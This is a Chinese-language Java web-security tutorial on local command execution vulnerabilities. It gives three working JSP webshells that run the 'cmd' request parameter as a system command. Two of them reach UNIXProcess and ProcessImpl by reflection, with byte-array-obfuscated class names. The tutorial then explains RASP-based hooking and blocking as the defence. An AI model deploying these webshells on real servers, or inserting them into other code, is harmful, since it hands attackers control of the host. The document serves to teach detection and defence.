本地命令執行漏洞
本地命令執行漏洞
攻擊者一旦可以在服務器中執行任意本地系統命令就意味著服務器已被非法控制,在Java中可用于執行系統命令的方式有API有:java.lang.Runtime、java.lang.ProcessBuilder、java.lang.UNIXProcess/ProcessImpl。
1. Java本地命令執行測試
示例 - 存在本地命令執行代碼(java.lang.Runtime):
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<pre>
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream in = process.getInputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.println(new String(b, 0, a));
}
in.close();
%>
</pre>
攻擊者通過向 cmd 參數傳入惡意的代碼即可在服務器上執行任意系統命令,請求:http://localhost:8000/modules/cmd/cmd.jsp?cmd=ls,如下圖:

由于傳入的cmd參數僅僅是一個兩位的英文字母,傳統的WAF基本都不具備對該類型的攻擊檢測,所以如果沒有RASP的本地命令執行防御會導致攻擊者可以在服務器中執行惡意的命令從而控制服務器。
2. 深層調用命令執行測試
示例 - 存在本地命令執行代碼(java.lang.UNIXProcess):
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<pre>
<%
String[] cmd = request.getParameterValues("cmd");
if (cmd != null) {
Class clazz = Class.forName(new String(new byte[]{
106, 97, 118, 97, 46, 108, 97, 110, 103, 46,
85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115
}));
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
byte[][] args = new byte[cmd.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = cmd[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
byte[] bytes = cmd[0].getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
Object object = constructor.newInstance(
result, argBlock, args.length,
null, 1, null, new int[]{-1, -1, -1}, false
);
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);
InputStream in = (InputStream) inMethod.invoke(object);
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.println(new String(b, 0, a));
}
in.close();
}
%>
</pre>
示例 - 存在本地命令執行代碼(java.lang.ProcessImpl):
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("cmd");
if (str != null) {
Class clazz = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108}));
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object object = constructor.newInstance(str.split("\\s+"), null, "./", new long[]{-1L, -1L, -1L}, false);
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);
InputStream in = (InputStream) inMethod.invoke(object);
Scanner s = new Scanner(in).useDelimiter("\\A");
out.println("<pre>");
out.println(s.hasNext() ? s.next() : "");
out.println("</pre>");
out.flush();
out.close();
}
%>
這部分對于 linux 和 windows 系統的攻擊代碼有所差異,但原理上一致。
Linux系統,請求:http://localhost:8000/modules/cmd/linux-cmd.jsp?cmd=ls,如下圖:

Windows系統,請求:http://localhost:8000/windows-cmd.jsp?cmd=cmd%20/c%20dir%20,如下圖:

3. 本地命令執行防御
本地命令執行是一種非常高風險的漏洞,在任何時候都應當非常謹慎的使用,在業務中如果使用到了本地系統命令那么應當禁止接收用戶傳入參數。在很多時候攻擊者會利用某些漏洞(如:Struts2、反序列化等)來攻擊我們的業務系統,最終利用Java本地命令執行達到控制Web服務器的目的。這種情況下用戶執行的系統命令對我們來說就不再受控制了,我們除了可以配置SecurityManager規則限制命令執行以外,使用RASP來防御本地命令執行就顯得更加的便捷可靠。
3.1 RASP防御Java本地命令執行
在Java底層執行系統命令的API是java.lang.UNIXProcess/ProcessImpl#forkAndExec方法,forkAndExec是一個native方法,如果想要Hook該方法需要使用Agent機制中的Can-Set-Native-Method-Prefix,為forkAndExec設置一個別名,如:__RASP__forkAndExec,然后重寫__RASP__forkAndExec方法邏輯,即可實現對原forkAndExec方法Hook。
示例 - Java本地命令執行API:

使用RASP的Hook機制捕獲當前正在執行的系統命令,不過不同的API獲取執行的命令參數的方式不太一樣。
示例 - Hook java.lang.ProcessImpl執行系統命令:
/**
* Hook Windows系統ProcessImpl類構造方法
*/
@RASPMethodHook(
className = "java.lang.ProcessImpl", methodName = CONSTRUCTOR_INIT,
methodArgsDesc = ".*", methodDescRegexp = true
)
public static class ProcessImplHook extends RASPMethodAdvice {
@Override
public RASPHookResult<?> onMethodEnter() {
try {
String[] commands = null;
// JDK9+的API參數不一樣!
if (getArg(0) instanceof String[]) {
commands = getArg(0);
} else if (getArg(0) instanceof byte[]) {
commands = new String[]{new String((byte[]) getArg(0))};
}
// 檢測執行的命令合法性
return LocalCommandHookHandler.processCommand(commands, getThisObject(), this);
} catch (Exception e) {
RASPLogger.log(AGENT_NAME + "處理ProcessImpl異常:" + e, e);
}
return new RASPHookResult<?>(RETURN);
}
}
3.1.1 請求參數關聯分析
獲取到本地命令執行的參數后需要與Http請求的參數進行關聯分析,檢測當前執行的系統命令是否與請求參數相關,如果確認當前執行的系統命令來源于Http請求參數,那么RASP會立即阻止命令執行并阻斷Http請求。
3.1.2 限制執行本地系統命令
因為本地命令執行的危害性極大,所以在默認情況下可以直接禁止本地命令執行,如果業務的確有必要開啟那么可以對相應的業務URL做白名單。限制的方式可分為兩種類型:
1. 完全限制本地命令執行,禁止在Java中執行任何命令;
2. 允許程序內部的本地命令執行,只在有Http請求的時候才禁止執行命令;
這兩種類型的禁止方案為可選方案,可在RASP的云端實時配置。
示例 - 禁止在HTTP請求時執行本地系統命令:

Java Web安全
推薦文章: